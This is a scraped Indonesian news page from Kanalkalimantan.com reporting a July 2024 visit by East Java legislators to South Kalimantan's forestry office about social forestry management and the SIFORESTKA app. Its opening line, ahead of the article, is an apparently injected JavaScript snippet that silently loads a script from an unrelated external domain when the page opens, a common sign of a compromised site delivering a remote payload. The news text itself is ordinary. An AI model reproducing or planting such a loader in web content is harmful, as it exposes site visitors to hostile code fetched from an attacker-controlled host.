(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Kalsel

Terima Kunjungan Komisi B DPRD Jawa Timur, Dishut Kalsel Jelaskan Pengelolaan Perhutanan Sosial


KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalsel menerima kunjungan kerja dari anggota Komisi B DPRD Provinsi Jawa Timur terkait Pengelolaan Perhutanan Sosial Di Provinsi Kalimantan Selatan, Rabu (17/07/2024).

Dihadapan para anggota legislatif yang berhadir, Kepala Dinas Kehutanan Provinsi Kalsel, Fathimatuzzahra, menjelaskan bahwa pengelolaan perhutanan sosial di Kalimantan Selatan selaras dengan program Revolusi Hijau Gubernur Kalimantan Selatan Sahbirin Noor.

“Melalui visi hutan lestari masyarakat sejahtera yang juga selaras dengan program Revolusi Hijau Gubernur Kalsel, Pengelolaan perhutanan sosial di Kalimantan Selatan dilakukan dengan melibatkan masyarakat setempat untuk memastikan pemanfaatan yang berkelanjutan dan kesejahteraan bersama,” kata Fathimatuzzahra.

Lebih lanjut Kadishut Kalsel Fathimatuzzahra juga menjelaskan Pengelolaan Perhutanan Sosial di Kalsel juga menggunakan aplikasi SIFORESTKA yang merupakan sistem informasi kehutanan yang berbasis WebGis dan E Comerce.

Sistem tersebut, lanjutnya, serupa dengan platform Shopee, yang menghubungkan penjual dan pembeli melalui kombinasi webGis dan e-Commerce.

“Isinya memuat aturan kehutanan, produk hasil hutan kayu dan bukan kayu, jasa lingkungan, persedian bibit di Kalsel serta layanan sertifikasi benih dan bibit yang dapat diakses masyarakat umum,” bebernya.

Sementara itu, Kabid Penyuluhan dan Pemberdayaan Masyarakat Dishut Kalsel I Gede Arya Subhakti dalam paparannya menjelaskan pengelolaan perhutanan sosial diKalimantan Selatan tertuang dalam Peraturan Gubernur Kalsel Nomor 02 Tahun 2024 Tentang Fasilitasi Percepatan Pengelolaan Perhutanan Sosial.

Diharapkan melalui kegiatan ini dapat bermanfaat bagi anggota DPRD Provinsi Jawa Timur untuk menginformasikan dan menjelaskan kepada masyarakatnya terkait proses Pengelolaan Perhutanan Sosial.(Kanalkalimantan.com/al)

Reporter: al
Editor: kk

 


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.